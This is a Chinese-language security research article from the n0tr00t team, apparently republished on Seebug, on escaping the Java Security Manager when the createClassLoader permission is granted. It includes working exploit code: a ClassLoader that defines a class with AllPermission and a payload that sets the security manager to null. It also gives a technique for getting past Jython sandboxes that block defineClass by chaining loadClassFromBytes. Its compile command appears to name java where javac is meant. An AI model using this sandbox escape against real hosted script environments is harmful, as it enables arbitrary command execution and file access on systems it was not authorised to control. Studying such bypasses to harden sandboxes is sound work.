[+] Author: Demon
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-12-30

JSM(Java Security Manager),又名java安全管理器,經常被用于java進程中的一些權限限制和保護的作用,類似 php 中的 disable_functions ,但 disable_functions 主要是針對函數的禁用操作,而JSM更偏向于運行時的授權檢查,根據配置好的安全策略來執行。一般啟用 JSM 只要在啟動 java 進程的時候加入參數即可,比如:

java -Djava.security.manager-Djava.security.policy=/home/yourPolicy.policy -jar application.jar

而/home/yourPolicy.policy則是用戶自行配制的策略文件,一般長這樣:

grant {
    permission java.io.FilePermission "/home/secret.txt", "read";
};

這就表示這個java進程對secret文件只有只讀的權限。而本文主要總結一下當策略文件被賦予了"createClassLoader"時,能夠bypass整個JSM策略的方法。當然,createClassLoader只是最基礎的一個權限,其實很多類似的權限都有同樣的問題。

其實很早之前空虛浪子心(kxlzx)就有寫到過他是如何利用 creatClassLoader 來繞過SAE的沙箱,筆者只是在此基礎上做了一個延伸。先來看下 createClassLoader 這個權限是個啥東西,簡單來說,createClassLoader就是能夠讓你的 java 程序擁有建立一個 ClassLoader 的權限。而ClassLoader又是什么呢?我們都知道java程序會編譯成 class 文件最終由 JVM 加載執行,ClassLoader則是一個容器或者說是加載器,把java程序涉及的class文件都加載到內存里來,這樣 java 里需要引用到其他類就能夠在一個容器里成功引用了。

而利用 createClassLoader 來繞過權限檢查的原理則是我們擁有建立一個自己的ClassLoader的權限,我們完全可以在這個 ClassLoader 中建立自己的一個class,并賦予一個新的JSM策略,這個策略也可以是個null,也就是關閉了整個java安全管理器。核心在 ClassLoader 存在一個方法叫 defineClass ,defineClass允許接受一個參數 ProtectionDomain ,我們能夠自建一個 ProtectionDomain 將自己配制好的權限設置進去,define 出來的 class 則擁有新的權限。核心繞過的代碼如下:

public class PayloadClassLoader extends ClassLoader implements Serializable {

    private static final long serialVersionUID = -7072212342699783162L;
    public static PayloadClassLoader instance = null;

    public void loadIt() throws IOException, InstantiationException,
            IllegalAccessException {

        ByteArrayOutputStream localObject1;
        byte[] localObject2;
        InputStream localObject3;

        localObject1 = new ByteArrayOutputStream();
        localObject2 = new byte[8192];

        localObject3 = super.getClass().getResourceAsStream("/Payloader.class");
        int j;
        while ((j = (localObject3).read(localObject2)) > 0) {

            (localObject1).write(localObject2, 0, j);
        }
        localObject2 = (localObject1).toByteArray();

        URL localURL = new URL("file:///");
        Class localClass;

        Certificate[] arrayOfCertificate = new Certificate[0];

        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());

        ProtectionDomain localProtectionDomain = new ProtectionDomain(
                new CodeSource(localURL, arrayOfCertificate), localPermissions);
        localClass = defineClass("Payloader", localObject2, 0,
                localObject2.length, localProtectionDomain);
        localClass.newInstance();

    }
}

首先新建的類需要繼承ClassLoader類,然后看到loadIt方法,在調用defineClass的時候,帶入的最后一個參數localProtectionDomain是我們新建的一個權限域,而里邊擁有的權限則為AllPermission;最后產生的localClass是啥呢,從代碼看到其實是Payloader.class這個類,這個類的代碼如下:

public class Payloader implements PrivilegedExceptionAction, Serializable {


    private static final long serialVersionUID = 635880182647064891L;

    public Payloader() {
        try {
            AccessController.doPrivileged(this);
        } catch (PrivilegedActionException e) {
            e.printStackTrace();
        }

    }

    @Override
    public Object run() throws Exception {

        // disable the security manager ;-)
        System.setSecurityManager(null);
        return null;
    }

}

從代碼中就能看出來,其實核心的就是 System.setSecurityManager(null); 將整個安全管理器設置為null,達到 bypass 的效果。此時 localClass.newInstance() 之后我們再執行相關的任意文件讀取或者是命令執行,就不會再提示沒有權限執行了。

值得注意的是,createClassLoader權限其實經常會被開放出來,是由于其本身業務使用到了createClassLoader權限,如果禁止掉,則很有可能業務跑不起來,所以這個權限經常會被開放。譬如在Jython環境中,很多時候也用到了 JSM 策略來防止用戶執行意料之外的 Jython 代碼。但為了保證Jython代碼能夠正常運行,通常會開放 createClassLoader ,此時我們也能夠利用上述方法來bypass安全策略。我們只需要調用:

self.super__defineClass(name, data, 0, len(data), self.codeSource)

則為調用父類ClassLoader的defineClass方法來繞過安全策略。原理都是類似的,只是把java的語法轉換成python語法罷了。但之前筆者發現,有人在Jython中做了個腳本語言層面的檢查,將用戶提交的腳本的defineClass這個函數給禁用掉了。導致我們無法在代碼里調用defineClass。但是沒有關系,在Jython的官方API中,提供了一個名叫 org.python.core.BytecodeLoader.Loader的 包,里面含有一個方法叫loadClassFromBytes,在官方文檔中是這么定義的:

public Class<?> loadClassFromBytes(String name,
                                   byte[] data)

其實如果看 Jython 的源代碼可以發現,loadClassFromBytes的實現其實也是調用了 defineClass ,不過細心的同學可以發現,loadClassFromBytes方法沒有提供 ProtectionDomain 這個參數了,那該怎么利用它來 bypass 呢。沒錯,聰明的你可能已經想到了。我們可以利用 loadClassFromBytes 方法來加載一個類A,而被加載的類A中可以再調用 defineClass 來再加載另一個類B。而這個時候就能夠在類A中使用defineClass時加入自己的ProtectionDomain了,機智如我。類A的代碼如下:

public class PayloadClassLoader1 extends ClassLoader implements Serializable {

    private static final long serialVersionUID = -7072212342699783162L;
    public static PayloadClassLoader instance = null;

    public byte[] getPayload(){

        return new byte[]{ -54, -2, -70, -66,.....省略.... 0, 2, 0, 27};

    }

    public ProtectionDomain getlpd() throws MalformedURLException {
        URL ll = new URL("file:///");
        Certificate[] ac = new Certificate[0];
        Permissions lp = new Permissions();
        lp.add(new AllPermission());
        ProtectionDomain lpd = new ProtectionDomain(new CodeSource(ll, ac), lp);
        return lpd;
    }


    public void loadIt() throws IOException, InstantiationException, IllegalAccessException {
        byte[] lo;
        lo = getPayload();
        ProtectionDomain lpd = getlpd();
        Class lc;
        lc = defineClass("Payloader", lo, 0, lo.length, lpd);
        lc.newInstance();
        System.out.println("success!");
    }

    public static void main(String[] args) throws Exception {
        new PayloadClassLoader().loadIt();
    }
}

類B的話其實就是 getPayload 方法中的一堆byte數組了。而類B的代碼就是上文提到的System.setSecurityManager(null)的類。用來關閉整個安全管理器的。然后緊接著將類A轉化成byte數組,再利用 Jython 的 loadClassFromBytes 來加載,運行。吧唧,運行出錯,傻眼了。報了一個defineClass時超過長度限制的錯誤,經過一番代碼優化,發現類A的大小還是不符合,依舊超過長度限制。經過一番搜索研究發現,這里有個小tips能夠在java編譯成class文件時壓縮大小,讓編譯出來的class文件盡可能小,利用的命令如下:

    java -g:none PayloadClassLoader1.java

編譯出來的 class 文件再轉成bytes數組,再次利用 loadClassFromBytes ,此時終于成功運行,最終繞過了 JSM 策略和 Jython 中禁用 defineClass 函數的限制,成功執行命令了。

參考資料

  • http://www.inbreak.net/archives/411
  • http://alphaloop.blogspot.com/2014/08/sandboxing-python-scripts-in-java.html
  • http://blog.csdn.net/cnbird2008/article/details/18095133

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/168/